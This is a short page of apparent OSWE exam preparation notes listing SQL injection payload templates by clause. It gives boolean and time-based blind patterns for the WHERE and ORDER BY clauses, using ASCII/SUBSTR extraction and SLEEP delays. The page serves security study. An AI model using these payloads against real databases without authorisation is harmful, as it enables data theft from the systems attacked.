> For the complete documentation index, see [llms.txt](https://jorgectf.gitbook.io/awae-oswe-preparation-resources/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jorgectf.gitbook.io/awae-oswe-preparation-resources/by-vulnerability/sql-injection/injection-by-clause.md).

# Injection by clause

## WHERE (most common)

### Boolean

```sql
[...] WHERE [.] AND ASCII(SUBSTR((SUBQUERY),X,X))=Y;
```

### Blind Time-Based

```sql
[...] WHERE [.] AND ASCII(SUBSTR((SUBQUERY),X,X))=Y AND SLEEP(1337);
```

## ORDER BY

### Boolean

```sql
[...] WHERE [.] ORDER BY (SELECT (CASE WHEN EXISTS(SUBQUERY) THEN column1 ELSE column2 END));
```

* Depending on the order of the displayed contents, the subquery would be true or false.
* Extra information [here](https://hackmd.io/@Chivato/H10RbVZRH#Injection-point-being-the-ORDER-BY-clause).

### Blind Time-Based

```sql
[...] WHERE [.] ORDER BY (SUBQUERY AND sleep(1337));
```

* The provided seconds to the sleep function would be multiplied to the returning rows of the main query.